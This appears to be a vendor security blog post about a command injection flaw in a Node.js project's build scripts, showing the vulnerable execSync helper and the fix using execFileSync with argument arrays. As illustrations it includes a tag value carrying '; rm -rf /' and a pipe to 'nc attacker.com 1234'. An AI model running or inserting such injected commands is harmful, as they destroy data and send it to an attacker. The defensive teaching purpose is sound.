How Command Injection Happens in Node.js child_process and How to Fix It

How Command Injection Happens in Node.js child_process and How to Fix It

Introduction

In the build scripts of a Node.js application, a high-severity command injection vulnerability was discovered in scripts/common.js at line 10. The exec() function was using child_process.execSync() to run shell commands, passing a single concatenated string instead of separating the command from its arguments. This seemingly innocent pattern created a dangerous attack surface: if any of the three calling files (scripts/common.js, scripts/release-helper.mjs, or scripts/action-helper.js) received user-controlled input—or if those inputs were derived from untrusted sources—an attacker could inject arbitrary shell commands through special characters like ;, |, &&, or $().

The vulnerability matters because build and deployment scripts often run with elevated privileges. A compromise here could lead to unauthorized code execution, repository tampering, or supply chain attacks. This fix demonstrates why architectural choices in how you invoke external processes matter far more than trying to sanitize every possible input.

The Vulnerability Explained

The Problematic Pattern

The original vulnerable code in scripts/common.js looked like this:

function exec(cmd) {
  try {
    return childProcess.execSync(cmd, { encoding: 'utf8' }).trim();
  } catch (e) {
    // ignore
  }
}

This function accepts a cmd parameter as a string and passes it directly to execSync(). Here's the critical problem: execSync() invokes a shell to parse and execute the command string. This means any shell metacharacters in the cmd string are interpreted as shell operators, not literal characters.

How It Was Called (Before the Fix)

The vulnerable function was invoked in three files with string concatenation:

In scripts/action-helper.js:

GIT_DESCRIBE: ci ? exec('git describe --abbrev=7') : `v${version}`,

In scripts/release-helper.mjs:

const thisTag = exec('git describe --abbrev=0 --tags');
const prevTag = exec(`git describe --abbrev=0 --tags "${thisTag}^"`);
const list = exec(`git log --oneline --skip=1 --reverse "${tagRange}"`)

Notice the template literals and string interpolation. While these specific calls use hardcoded git commands, the pattern is vulnerable if any of these strings ever came from user input, environment variables, or configuration files.

Attack Scenario

Imagine a future developer adds a feature to read a tag name from a configuration file or API response, then passes it to the release helper:

// Hypothetical vulnerable future code
const userTag = getTagFromConfig(); // Could be: "v1.0.0; rm -rf /"
const prevTag = exec(`git describe --abbrev=0 --tags "${userTag}"`);

With the vulnerable execSync() approach, the injected command would execute:

git describe --abbrev=0 --tags "v1.0.0; rm -rf /"

The shell would parse this as two commands: the git command, followed by a destructive rm -rf /. The semicolon is a shell operator that chains commands sequentially.

Other injection vectors include:
- Command substitution: $(malicious_command) or `malicious_command`
- Pipe chains: legitimate_command | nc attacker.com 1234
- Background execution: legitimate_command & malicious_command

Why This Is a High-Severity Issue

1. Build scripts run with elevated privileges: They often have access to credentials, SSH keys, and repository write access.
2. Supply chain risk: Compromising a build script can inject malicious code into released packages.
3. Automated exploit tools: The PR notes that this pattern is an "exploit primitive" that automated attack tools could chain with other weaknesses.
4. Silent failure mode: The catch (e) { // ignore } block silently swallows errors, so an attacker could inject commands that fail gracefully while still executing.

The Fix

What Changed

The fix involved three key changes across three files:

1. Refactored the exec() function signature in scripts/common.js:

// Before
function exec(cmd) {
  try {
    return childProcess.execSync(cmd, { encoding: 'utf8' }).trim();
  } catch (e) {
    // ignore
  }
}

// After
function exec(cmd, args = []) {
  try {
    return childProcess.execFileSync(cmd, args, { encoding: 'utf8' }).trim();
  } catch (e) {
    // ignore
  }
}

Key changes:
- Added an args parameter (defaulting to an empty array)
- Replaced execSync(cmd) with execFileSync(cmd, args)

Why this matters: execFileSync() does not invoke a shell. Instead, it directly executes the specified file (in this case, the git command) and passes the arguments array without shell interpretation. This means metacharacters are treated as literal strings, not shell operators.

2. Updated all call sites to pass arguments as arrays:

In scripts/action-helper.js:

// Before
GIT_DESCRIBE: ci ? exec('git describe --abbrev=7') : `v${version}`,

// After
GIT_DESCRIBE: ci ? exec('git', ['describe', '--abbrev=7']) : `v${version}`,

In scripts/release-helper.mjs:

// Before
const thisTag = exec('git describe --abbrev=0 --tags');
const prevTag = exec(`git describe --abbrev=0 --tags "${thisTag}^"`);
const list = exec(`git log --oneline --skip=1 --reverse "${tagRange}"`)

// After
const thisTag = exec('git', ['describe', '--abbrev=0', '--tags']);
const prevTag = exec('git', ['describe', '--abbrev=0', '--tags', `${thisTag}^`]);
const list = exec('git', ['log', '--oneline', '--skip=1', '--reverse', tagRange])

Key observation: Each command-line argument is now a separate array element. The tagRange and thisTag^ are passed as array elements, not interpolated into a shell string.

Why This Fix Works

execFileSync() vs execSync():

With execFileSync(), even if an attacker injects ; rm -rf / into the thisTag variable, it's passed as a literal array element:

// If thisTag = "v1.0.0; rm -rf /"
exec('git', ['describe', '--abbrev=0', '--tags', 'v1.0.0; rm -rf /'])

// git receives literally: describe --abbrev=0 --tags "v1.0.0; rm -rf /"
// The semicolon is NOT interpreted as a shell operator

Git would treat the entire string as a tag name and fail gracefully, rather than executing the injected command.

Behavior Preservation

The PR explicitly notes: "The change is scoped to 3 files on the vulnerable path; it only tightens handling of untrusted input and leaves valid inputs unaffected."

All three files continue to work exactly as before:
- Git commands still execute correctly
- Output is still captured and trimmed
- Error handling remains unchanged (silent failures)
- No functional behavior changes for legitimate use cases

Prevention & Best Practices

1. Always Use execFileSync() Over execSync()

When spawning external processes in Node.js:

// ❌ UNSAFE: Shell interprets metacharacters
const result = execSync(`ls ${userProvidedPath}`);

// ✅ SAFE: No shell interpretation
const result = execFileSync('ls', [userProvidedPath]);

2. Separate Commands from Arguments

Never concatenate arguments into a command string:

// ❌ UNSAFE
exec(`git log --oneline --skip=1 --reverse "${tagRange}"`)

// ✅ SAFE
exec('git', ['log', '--oneline', '--skip=1', '--reverse', tagRange])

3. Avoid shell=true in spawn() and spawnSync()

If using spawn() or spawnSync(), never set shell: true:

// ❌ UNSAFE
spawn('git log', { shell: true });

// ✅ SAFE
spawn('git', ['log']);

4. Use Static Analysis to Detect Unsafe Patterns

Semgrep's rule javascript.lang.security.detect-child-process.detect-child-process specifically flags:
- execSync() with string arguments
- exec() with string arguments
- Shell command patterns that could be vulnerable

Run Semgrep in your CI/CD pipeline:

semgrep --config=p/security-audit scripts/

5. Validate and Sanitize at Input Boundaries

Even with execFileSync(), validate inputs where they enter:

// Validate tag names match expected format
function validateGitTag(tag) {
  if (!/^v\d+\.\d+\.\d+$/.test(tag)) {
    throw new Error('Invalid tag format');
  }
  return tag;
}

const userTag = validateGitTag(getTagFromConfig());
exec('git', ['describe', '--abbrev=0', '--tags', userTag]);

6. Principle of Least Privilege

Run build scripts with minimal required permissions:
- Avoid running as root
- Use separate SSH keys with limited scope
- Restrict file system access to necessary directories

7. Audit All child_process Calls

Search your codebase for all child_process usage:

grep -r "execSync\|exec\|spawn" --include="*.js" --include="*.mjs"

Review each call site to ensure it follows safe patterns.

Key Takeaways

• Architecture matters more than sanitization: Using execFileSync() with argument arrays is inherently safer than trying to sanitize strings for execSync().

• The exec() function in scripts/common.js was the vulnerability hub: All three calling files were affected by this single function's unsafe pattern. Fixing it in one place secured all downstream uses.

• Exploit primitives are worth removing proactively: Even though this specific code wasn't directly exploitable today, the pattern could be chained with other weaknesses by automated attack tools. Removing it raises the bar.

• Template literals and string interpolation are dangerous with shell commands: The ${thisTag}^ pattern in release-helper.mjs looks innocent but creates shell injection opportunities if thisTag ever contains untrusted data.

• Silent error handling can hide attacks: The catch (e) { // ignore } block means injected commands could execute and fail silently, making them harder to detect.

How Orbis AppSec Detected This

Source: The cmd parameter in the exec() function signature, which could receive unsanitized input from multiple call sites across build scripts.

Sink: The child_process.execSync(cmd, { encoding: 'utf8' }) call at line 8 of scripts/common.js, which directly executes the command string in a shell context.

Missing control: No separation of commands from arguments; no validation that the cmd parameter contains only safe, hardcoded git commands; reliance on string concatenation rather than array-based argument passing.

CWE: CWE-78 – Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Replaced execSync(cmd) with execFileSync(cmd, args) and refactored all call sites to pass arguments as array elements instead of concatenated strings. This prevents the shell from interpreting metacharacters as operators.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection vulnerabilities in Node.js build scripts represent a serious supply chain risk. The fix applied here—replacing execSync() with execFileSync() and separating arguments into arrays—demonstrates a fundamental security principle: choose safe APIs by default.

This isn't about perfectly sanitizing every possible input. It's about using language and framework features that make injection attacks structurally impossible. execFileSync() is the safe default for spawning external processes in Node.js because it bypasses shell parsing entirely.

As you review your own codebase, search for all child_process calls and ask: "Am I using the safest API available?" If you're using execSync(), exec(), or spawn() with shell: true, refactor to use execFileSync() with argument arrays. Your future self—and your users—will thank you.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP Command Injection
• Node.js child_process Documentation
• Node.js execFileSync() vs execSync() Comparison
• Semgrep Rule: detect-child-process
• GitHub PR: harden: sanitize child_process call in common.js...